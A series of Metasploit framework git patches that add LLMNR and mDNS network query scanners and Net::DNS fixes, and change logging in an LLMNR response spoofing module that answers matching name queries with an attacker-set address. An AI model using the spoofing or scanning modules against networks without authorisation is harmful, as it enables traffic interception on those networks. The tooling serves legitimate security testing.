initialize(info = {}) register_options([ OptAddressRange.new('RHOSTS', [ true, "The target address range or CIDR identifier"]), - OptInt.new('THREADS', [ true, "The number of concurrent threads", 1 ] ) + OptInt.new('THREADS', [ true, "The number of concurrent threads", 10 ] ) ], Auxiliary::Scanner) # RHOST should not be used in scanner modules, only RHOSTS diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb index 27950bf9e7..a54773f337 100644 --- a/lib/msf/core/auxiliary/udp_scanner.rb +++ b/lib/msf/core/auxiliary/udp_scanner.rb @@ -23,7 +23,6 @@ module Auxiliary::UDPScanner [ Opt::RPORT, OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), - OptInt.new('THREADS', [true, "The number of concurrent threads", 10]) ], self.class) register_advanced_options( From 7917a7021676f793da4afea7855da32df95e7a03 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 8 Oct 2014 19:03:07 -0700 Subject: [PATCH 0009/2172] Initial commit of some code for LLMNR research This is largely useless right now because LLMNR is only supposed to work in the same multicast/broadcast domain and implementations are supposed to ignore requests with an IP TTL != 1. --- lib/msf/core/auxiliary/llmnr.rb | 27 +++++++++ lib/msf/core/auxiliary/mixins.rb | 1 + lib/rex/proto/llmnr.rb | 1 + modules/auxiliary/scanner/llmnr/query.rb | 71 ++++++++++++++++++++++++ 4 files changed, 100 insertions(+) create mode 100644 lib/msf/core/auxiliary/llmnr.rb create mode 100644 lib/rex/proto/llmnr.rb create mode 100644 modules/auxiliary/scanner/llmnr/query.rb diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb new file mode 100644 index 0000000000..185729862b --- /dev/null +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -0,0 +1,27 @@ +# -*- coding: binary -*- +require 'rex/proto/llmnr' +require 'msf/core/exploit' +module Msf + +### +# +# This module provides methods for working with LLMNR +# +### +module Auxiliary::LLMNR + + include Auxiliary::Scanner + + # + # Initializes an instance of an auxiliary module that uses LLMNR + # + + def initialize(info = {}) + super + register_options( + [ + Opt::RPORT(5355), + ], self.class) + end +end +end diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index c88cba7dd9..79021b7140 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -20,6 +20,7 @@ require 'msf/core/auxiliary/login' require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/cisco' require 'msf/core/auxiliary/kademlia' +require 'msf/core/auxiliary/llmnr' require 'msf/core/auxiliary/nmap' require 'msf/core/auxiliary/natpmp' require 'msf/core/auxiliary/iax2' diff --git a/lib/rex/proto/llmnr.rb b/lib/rex/proto/llmnr.rb new file mode 100644 index 0000000000..3752de55ce --- /dev/null +++ b/lib/rex/proto/llmnr.rb @@ -0,0 +1 @@ +# -*- coding: binary -*- diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb new file mode 100644 index 0000000000..df31d34aca --- /dev/null +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -0,0 +1,71 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::LLMNR + #include Msf::Auxiliary::DRDoS + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'LLMNR Query', + 'Description' => %q( + ), + 'Author' => + [ + 'Jon Hart ' + ], + 'License' => MSF_LICENSE, + ) + ) + register_options( + [ + Opt::RHOST('224.0.0.252'), + OptString.new('NAME', [ true, 'The name to query', 'localhost' ]), + OptInt.new('TYPE', [ true, 'The query type', 1 ]), + OptInt.new('CLASS', [ true, 'The query class', 1 ]) + ], self.class) + end + + def short(v) + [ (v & 0xFF00) >> 8, v & 0x00FF ].pack("CC") + end + + def build_probe(qname, qtype, qclass) + short(rand(0xFFF)) + # transaction ID + "\x00\x00" + # flags + "\x00\x01" + # questions + "\x00\x00" + # answer RRs + "\x00\x00" + # authority RRs + "\x00\x00" + # additional RRs + [ qname.length, qname ].pack("Ca#{qname.length+1}") + # name + short(qtype) + # type + short(qclass) # class + end + + def scanner_process(data, shost, _sport) + @results[shost] ||= [] + @results[shost] << data + end + + def scan_host(ip) + scanner_send(build_probe(datastore['NAME'], datastore['TYPE'], datastore['CLASS']), ip, datastore['RPORT']) + end + + def scanner_prescan(batch) + @results = {} + print_status("Sending LLMNR queries to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + end + + def scanner_postscan(_batch) + @results.keys.each do |k| + print_good("#{k} responded with #{@results[k].inspect}") + end + end +end From f4a1ce7fb6f5c61d2fdacaa17cff8bda7b252051 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 12:35:38 -0700 Subject: [PATCH 0010/2172] Default RHOSTS to 224.0.0.252, the multicast group for LLMNR --- lib/msf/core/auxiliary/llmnr.rb | 3 ++- modules/auxiliary/scanner/llmnr/query.rb | 5 ++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb index 185729862b..136e4aca26 100644 --- a/lib/msf/core/auxiliary/llmnr.rb +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -20,7 +20,8 @@ module Auxiliary::LLMNR super register_options( [ - Opt::RPORT(5355), + Opt::RHOSTS('224.0.0.252'), + Opt::RPORT(5355) ], self.class) end end diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index df31d34aca..841d4a29dc 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -26,10 +26,9 @@ class Metasploit3 < Msf::Auxiliary ) register_options( [ - Opt::RHOST('224.0.0.252'), OptString.new('NAME', [ true, 'The name to query', 'localhost' ]), - OptInt.new('TYPE', [ true, 'The query type', 1 ]), - OptInt.new('CLASS', [ true, 'The query class', 1 ]) + OptInt.new('TYPE', [ true, 'The query type #', 255 ]), + OptInt.new('CLASS', [ true, 'The query class #', 1 ]) ], self.class) end From a9a6a564c63db65e74fcbf62d74cad5cae000285 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 12:59:54 -0700 Subject: [PATCH 0011/2172] Use LLMNR multicast address for RHOSTS by default --- lib/msf/core/auxiliary/llmnr.rb | 4 ++-- modules/auxiliary/scanner/llmnr/query.rb | 1 - 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb index 136e4aca26..1d3bf8896d 100644 --- a/lib/msf/core/auxiliary/llmnr.rb +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -10,7 +10,7 @@ module Msf ### module Auxiliary::LLMNR - include Auxiliary::Scanner + include Auxiliary::UDPScanner # # Initializes an instance of an auxiliary module that uses LLMNR @@ -20,7 +20,7 @@ module Auxiliary::LLMNR super register_options( [ - Opt::RHOSTS('224.0.0.252'), + OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']), Opt::RPORT(5355) ], self.class) end diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 841d4a29dc..59da97ba9c 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -10,7 +10,6 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::UDPScanner include Msf::Auxiliary::LLMNR - #include Msf::Auxiliary::DRDoS def initialize(info = {}) super(update_info(info, From 9ad0fc38f7b836f3bb1bbc59fed072bf962f98d9 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 13:29:24 -0700 Subject: [PATCH 0012/2172] Print something more useful with LLMNR responses --- modules/auxiliary/scanner/llmnr/query.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 59da97ba9c..e4aa345d38 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -63,7 +63,8 @@ class Metasploit3 < Msf::Auxiliary def scanner_postscan(_batch) @results.keys.each do |k| - print_good("#{k} responded with #{@results[k].inspect}") + resp = ::Net::DNS::Packet.parse(k) + print_good("#{k} responded with #{resp.inspect}") end end end From 0f5aaaf607c50d5bab27c59c9c487418255ec688 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 19:12:50 -0700 Subject: [PATCH 0013/2172] Parse and print each response (for now) --- modules/auxiliary/scanner/llmnr/query.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index e4aa345d38..971693a434 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -63,8 +63,9 @@ class Metasploit3 < Msf::Auxiliary def scanner_postscan(_batch) @results.keys.each do |k| - resp = ::Net::DNS::Packet.parse(k) - print_good("#{k} responded with #{resp.inspect}") + resps.each do |resp| + print_good("#{k} responded with #{::Net::DNS::Packet.parse(resp)}") + end end end end From 25d85b60f382fcfce351a712bfaadf81afd3ad73 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 19:18:30 -0700 Subject: [PATCH 0014/2172] Parse and print each response (for real) --- modules/auxiliary/scanner/llmnr/query.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 971693a434..c763308c2c 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -62,9 +62,9 @@ class Metasploit3 < Msf::Auxiliary end def scanner_postscan(_batch) - @results.keys.each do |k| + @results.keys.each_pair do |peer, resps| resps.each do |resp| - print_good("#{k} responded with #{::Net::DNS::Packet.parse(resp)}") + print_good("#{peer} responded with #{::Net::DNS::Packet.parse(resp)}") end end end From d2bddd6bcdf91775db1f04318992a96ec80d85c1 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 19:21:29 -0700 Subject: [PATCH 0015/2172] Parse and print each response (for real. 3rd time's a charm...) --- modules/auxiliary/scanner/llmnr/query.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index c763308c2c..aa75485efe 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary end def scanner_postscan(_batch) - @results.keys.each_pair do |peer, resps| + @results.each_pair do |peer, resps| resps.each do |resp| print_good("#{peer} responded with #{::Net::DNS::Packet.parse(resp)}") end From 5cb14255c1f89dbfbdb106cfbcfdaa25b319f291 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 29 Oct 2014 12:22:24 -0700 Subject: [PATCH 0016/2172] Inspect any responses --- modules/auxiliary/scanner/llmnr/query.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index aa75485efe..e5cdf2168e 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary def scanner_postscan(_batch) @results.each_pair do |peer, resps| resps.each do |resp| - print_good("#{peer} responded with #{::Net::DNS::Packet.parse(resp)}") + print_good("#{peer} responded with #{::Net::DNS::Packet.parse(resp).inspect}") end end end From 392ba483f9fd03c509fa2309c005b479990a86e3 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 29 Oct 2014 12:49:06 -0700 Subject: [PATCH 0017/2172] Better handling of *print_ --- .../auxiliary/spoof/llmnr/llmnr_response.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 4a7123fd56..30fbc9b41f 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -74,14 +74,6 @@ attr_accessor :sock, :thread dns_pkt.question.each do |question| name = question.qName - unless name =~ /#{datastore['REGEX']}/i - vprint_status("#{rhost.to_s.ljust 16} llmnr - #{name} did not match REGEX \"#{datastore['REGEX']}\"") - next - end - - if should_print_reply?(name) - print_good("#{rhost.to_s.ljust 16} llmnr - #{name} matches regex, responding with #{datastore['SPOOFIP']}") - end # qType is not a Fixnum, so to compare it with `case` we have to # convert it @@ -103,9 +95,17 @@ attr_accessor :sock, :thread :address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s ) else - print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type, this shouldn't happen. Skipping") + vprint_warning("#{rhost.to_s.ljust 16} LLMNR - Skipping unhandled RR query type #{question.qType}") next end + + if name =~ /#{datastore['REGEX']}/i + if should_print_reply?(name) + print_good("#{rhost.to_s.ljust 16} LLMNR - #{name} matches regex, responding with #{datastore['SPOOFIP']}") + end + else + vprint_status("#{rhost.to_s.ljust 16} LLMNR - #{name} did not match REGEX \"#{datastore['REGEX']}\"") + end end # If we didn't find anything we want to spoof, don't send any From 473213849fe39b3677c8fff4e7c705077318afe9 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 29 Oct 2014 13:11:05 -0700 Subject: [PATCH 0018/2172] More truthy method to determine whether to print, better inspection --- modules/auxiliary/scanner/llmnr/query.rb | 2 +- modules/auxiliary/spoof/llmnr/llmnr_response.rb | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index e5cdf2168e..89ce0bcf0b 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary def scanner_postscan(_batch) @results.each_pair do |peer, resps| resps.each do |resp| - print_good("#{peer} responded with #{::Net::DNS::Packet.parse(resp).inspect}") + print_good("#{peer} responded with #{Resolv::DNS::Message.decode(resp).inspect}") end end end diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 30fbc9b41f..ffea41e689 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -169,6 +169,7 @@ attr_accessor :sock, :thread last_notified = now - @notified_times[host] if last_notified == 0 or last_notified > 10 @notified_times[host] = now + true else false end From 1e38a5db86b257c3c633a74c1cda8e40eda63209 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 29 Oct 2014 14:04:10 -0700 Subject: [PATCH 0019/2172] Use Net::DNS::Packet to build queries, static probe --- modules/auxiliary/scanner/llmnr/query.rb | 18 +++--------------- 1 file changed, 3 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 89ce0bcf0b..20bc0521eb 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -31,20 +31,8 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def short(v) - [ (v & 0xFF00) >> 8, v & 0x00FF ].pack("CC") - end - - def build_probe(qname, qtype, qclass) - short(rand(0xFFF)) + # transaction ID - "\x00\x00" + # flags - "\x00\x01" + # questions - "\x00\x00" + # answer RRs - "\x00\x00" + # authority RRs - "\x00\x00" + # additional RRs - [ qname.length, qname ].pack("Ca#{qname.length+1}") + # name - short(qtype) + # type - short(qclass) # class + def setup + @probe = ::Net::DNS::Packet.new(qname, qtype, qclass).data end def scanner_process(data, shost, _sport) @@ -53,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary end def scan_host(ip) - scanner_send(build_probe(datastore['NAME'], datastore['TYPE'], datastore['CLASS']), ip, datastore['RPORT']) + scanner_send(@probe, ip, datastore['RPORT']) end def scanner_prescan(batch) From 74aa1f40df342ef47882d15e262f7b778c5728e9 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 29 Oct 2014 14:47:13 -0700 Subject: [PATCH 0020/2172] Fix sneaky return in capture_send --- lib/msf/core/exploit/capture.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index 1f76773a49..b800d0f938 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -255,7 +255,7 @@ module Msf dev ||= datastore['INTERFACE'] dst_mac, src_mac = lookup_eth(dhost, dev) if dst_mac == nil and not bcast - return false + raise RuntimeError, 'Unable to determine the destination MAC and bcast is false' end inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac) end From 5f4c4ee4bed56d06181c4c3f9705c78384816465 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 29 Oct 2014 14:47:32 -0700 Subject: [PATCH 0021/2172] Use correct options to Packet.new --- modules/auxiliary/scanner/llmnr/query.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 20bc0521eb..afbe4248f5 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary end def setup - @probe = ::Net::DNS::Packet.new(qname, qtype, qclass).data + @probe = ::Net::DNS::Packet.new(datastore['NAME'], datastore['TYPE'], datastore['CLASS']).data end def scanner_process(data, shost, _sport) From fef19dd2a86108116a14979bca99aba8dc272fc5 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 31 Oct 2014 14:04:23 -0700 Subject: [PATCH 0022/2172] Add preliminary module for scanning mDNS --- modules/auxiliary/scanner/mdns/query.rb | 97 +++++++++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 modules/auxiliary/scanner/mdns/query.rb diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb new file mode 100644 index 0000000000..9add8ef54f --- /dev/null +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + + def initialize(info = {}) + super( + update_info( + info, + # TODO: fill in all of this + 'Name' => 'UDP Scanner Example', + 'Description' => %q( + This module is an example of how to send probes to UDP services + en-masse, analyze any responses, and then report on any discovered + hosts, services, vulnerabilities or otherwise noteworthy things. + Simply address any of the TODOs. + ), + 'Author' => 'Joe Contributor ', + 'References' => + [ + ['URL', 'https://example.com/~jcontributor'] + ], + 'DisclosureDate' => 'Mar 15 2014', + 'License' => MSF_LICENSE + ) + ) + + register_options( + [ + Opt::RPORT(5353) + ], self.class) + end + + def setup + super + @probe = "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01" + end + + # Called for each response packet + def scanner_process(response, src_host, _src_port) + # TODO: inspect each response, perhaps confirming that it is a valid + # response for the service/protocol in question and/or analyzing it more + # closely. In this case, we simply check to see that it is of reasonable + # size and storing a result for this host iff so. Note that src_port may + # not actually be the same as the original RPORT for some services if they + # respond back from different ports + return unless response.size >= 42 + @results[src_host] ||= [] + + # TODO: store something about this response, perhaps the response itself, + # some metadata obtained by analyzing it, the proof that it is vulnerable + # to something, etc. In this example, we simply look for any response + # with a sequence of 5 useful ASCII characters and, iff found, we store + # that sequence + /(?[\x20-\x7E]{5})/ =~ response && @results[src_host] << relevant + end + + # Called after the scan block + def scanner_postscan(_batch) + @results.each_pair do |host, relevant_responses| + peer = "#{host}:#{rport}" + + # report on the host + report_host(host: host) + + # report on the service, since it responded + report_service( + host: host, + proto: 'udp', + port: rport, + name: 'example', + # show at most 4 relevant responses + info: relevant_responses[0, 4].join(',') + ) + + if relevant_responses.empty? + vprint_status("#{peer} Not vulnerable to something") + else + print_good("#{peer} Vulnerable to something!") + report_vuln( + host: host, + port: rport, + proto: 'udp', + name: 'something!', + info: "Got #{relevant_responses.size} response(s)", + refs: references + ) + end + end + end +end From 9d21f292988f017062a10ab71b57987c99d9029f Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 31 Oct 2014 14:27:06 -0700 Subject: [PATCH 0023/2172] Update LLMNR query to use new UDPScanner functionality --- modules/auxiliary/scanner/llmnr/query.rb | 26 ++++++++++-------------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index afbe4248f5..669700e177 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -7,20 +7,21 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Exploit::Remote::Udp include Msf::Auxiliary::UDPScanner include Msf::Auxiliary::LLMNR def initialize(info = {}) - super(update_info(info, - 'Name' => 'LLMNR Query', - 'Description' => %q( - ), - 'Author' => - [ - 'Jon Hart ' - ], - 'License' => MSF_LICENSE, + super( + update_info( + info, + 'Name' => 'LLMNR Query', + 'Description' => %q( + ), + 'Author' => + [ + 'Jon Hart ' + ], + 'License' => MSF_LICENSE ) ) register_options( @@ -40,12 +41,7 @@ class Metasploit3 < Msf::Auxiliary @results[shost] << data end - def scan_host(ip) - scanner_send(@probe, ip, datastore['RPORT']) - end - def scanner_prescan(batch) - @results = {} print_status("Sending LLMNR queries to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") end From b3787ded6bc10f09929d1d912c246eafcc5cb144 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 31 Oct 2014 14:27:30 -0700 Subject: [PATCH 0024/2172] Add mDNS mixins, update query module to use them --- lib/msf/core/auxiliary/mdns.rb | 27 +++++++++++++++++++++++++ lib/msf/core/auxiliary/mixins.rb | 1 + lib/rex/proto/mdns.rb | 1 + modules/auxiliary/scanner/mdns/query.rb | 1 + 4 files changed, 30 insertions(+) create mode 100644 lib/msf/core/auxiliary/mdns.rb create mode 100644 lib/rex/proto/mdns.rb diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb new file mode 100644 index 0000000000..feca944a3b --- /dev/null +++ b/lib/msf/core/auxiliary/mdns.rb @@ -0,0 +1,27 @@ +# -*- coding: binary -*- +require 'rex/proto/mdns' +require 'msf/core/exploit' +module Msf + +### +# +# This module provides methods for working with mDNS +# +### +module Auxiliary::MDNS + + include Auxiliary::UDPScanner + + # + # Initializes an instance of an auxiliary module that uses LLMNR + # + def initialize(info = {}) + super + register_options( + [ + OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.251']), + Opt::RPORT(5353) + ], self.class) + end +end +end diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index 79021b7140..2fb5934729 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -21,6 +21,7 @@ require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/cisco' require 'msf/core/auxiliary/kademlia' require 'msf/core/auxiliary/llmnr' +require 'msf/core/auxiliary/mdns' require 'msf/core/auxiliary/nmap' require 'msf/core/auxiliary/natpmp' require 'msf/core/auxiliary/iax2' diff --git a/lib/rex/proto/mdns.rb b/lib/rex/proto/mdns.rb new file mode 100644 index 0000000000..3752de55ce --- /dev/null +++ b/lib/rex/proto/mdns.rb @@ -0,0 +1 @@ +# -*- coding: binary -*- diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index 9add8ef54f..0c3a1ac299 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -8,6 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::MDNS def initialize(info = {}) super( From 4d82976740f0b991e31600043daac1c2c60cd404 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 31 Oct 2014 14:52:35 -0700 Subject: [PATCH 0025/2172] Store LLMNR results --- modules/auxiliary/scanner/llmnr/query.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 669700e177..438e40c287 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Auxiliary def scanner_prescan(batch) print_status("Sending LLMNR queries to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @results = {} end def scanner_postscan(_batch) From eaaa09b6a0e46a50312503c3418b7a687b8b040d Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 31 Oct 2014 16:18:40 -0700 Subject: [PATCH 0026/2172] Update Net::DNS to handle non-standard types and classes. Bugs --- lib/net/dns/rr/classes.rb | 39 ++++++++++++++++++++------------------- lib/net/dns/rr/types.rb | 35 ++++++++++++++++++----------------- 2 files changed, 38 insertions(+), 36 deletions(-) diff --git a/lib/net/dns/rr/classes.rb b/lib/net/dns/rr/classes.rb index 9eb5ce478c..2f5aa818f0 100644 --- a/lib/net/dns/rr/classes.rb +++ b/lib/net/dns/rr/classes.rb @@ -1,15 +1,15 @@ # -*- coding: binary -*- module Net # :nodoc: - module DNS - + module DNS + class RR - + # - # This is an auxiliary class to hadle RR class field in a DNS packet. + # This is an auxiliary class to hadle RR class field in a DNS packet. # class Classes - - # An hash with the values of each RR class stored with the + + # An hash with the values of each RR class stored with the # respective id number Classes = { 'IN' => 1, # RFC 1035 @@ -18,7 +18,7 @@ module Net # :nodoc: 'NONE' => 254, # RFC 2136 'ANY' => 255, # RFC 1035 } - + # The default value when class is nil in Resource Records @@default = Classes["IN"] @@ -32,7 +32,7 @@ module Net # :nodoc: end end - # Checks whether +cls+ is a valid RR class. + # Checks whether +cls+ is a valid RR class. def self.valid?(cls) case cls when String @@ -43,7 +43,7 @@ module Net # :nodoc: raise ClassArgumentError, "Wrong cls class: #{cls.class}" end end - + # Returns the class in string format, as "IN" or "CH", # given the numeric value def self.to_str(cls) @@ -72,13 +72,13 @@ module Net # :nodoc: case cls when String # type in the form "A" or "NS" - new_from_string(cls.upcase) + new_from_string(cls.upcase) when Fixnum # type in numeric form - new_from_num(cls) + new_from_num(cls) when nil # default type, control with Classes.default= - @str = Classes.invert[@@default] + @str = Classes.invert[@@default] @num = @@default else raise ClassArgumentError, "Wrong cls class: #{cls.class}" @@ -91,13 +91,13 @@ module Net # :nodoc: case cls when /^CLASS\\d+/ # TODO!!! - else + else # String with name of class if Classes.has_key? cls @str = cls @num = Classes[cls] else - raise ClassesArgumentError, "Unknown cls #{cls}" + raise ClassArgumentError, "Unknown cls #{cls}" end end end @@ -109,11 +109,12 @@ module Net # :nodoc: @num = cls @str = Classes.invert[cls] else - raise ClassesArgumentError, "Unkown cls number #{cls}" + @num = cls + @str = "CLASS#{cls}" end end - - # Returns the class in number format + + # Returns the class in number format # (default for normal use) def inspect @num @@ -124,7 +125,7 @@ module Net # :nodoc: def to_s @str end - + # Returns the class in numeric format, # usable by the pack methods for data transfers def to_i @@ -140,7 +141,7 @@ module Net # :nodoc: private :new_from_num, :new_from_string end # class Classes - + end # class RR end # module DNS end # module Net diff --git a/lib/net/dns/rr/types.rb b/lib/net/dns/rr/types.rb index cde8bb3632..0e724c5615 100644 --- a/lib/net/dns/rr/types.rb +++ b/lib/net/dns/rr/types.rb @@ -1,14 +1,14 @@ # -*- coding: binary -*- module Net # :nodoc: module DNS - + class RR - + # - # This is an auxiliary class to hadle RR type field in a DNS packet. + # This is an auxiliary class to hadle RR type field in a DNS packet. # class Types - + # :nodoc: Types = { # :nodoc: 'SIGZERO' => 0, # RFC2931 consider this a pseudo type @@ -85,7 +85,7 @@ module Net # :nodoc: end end - # Checks whether +type+ is a valid RR type. + # Checks whether +type+ is a valid RR type. def self.valid?(type) case type when String @@ -96,7 +96,7 @@ module Net # :nodoc: raise TypeArgumentError, "Wrong type class: #{type.class}" end end - + # Returns the type in string format, as "A" or "NS", # given the numeric value def self.to_str(type) @@ -125,20 +125,20 @@ module Net # :nodoc: case type when String # type in the form "A" or "NS" - new_from_string(type.upcase) 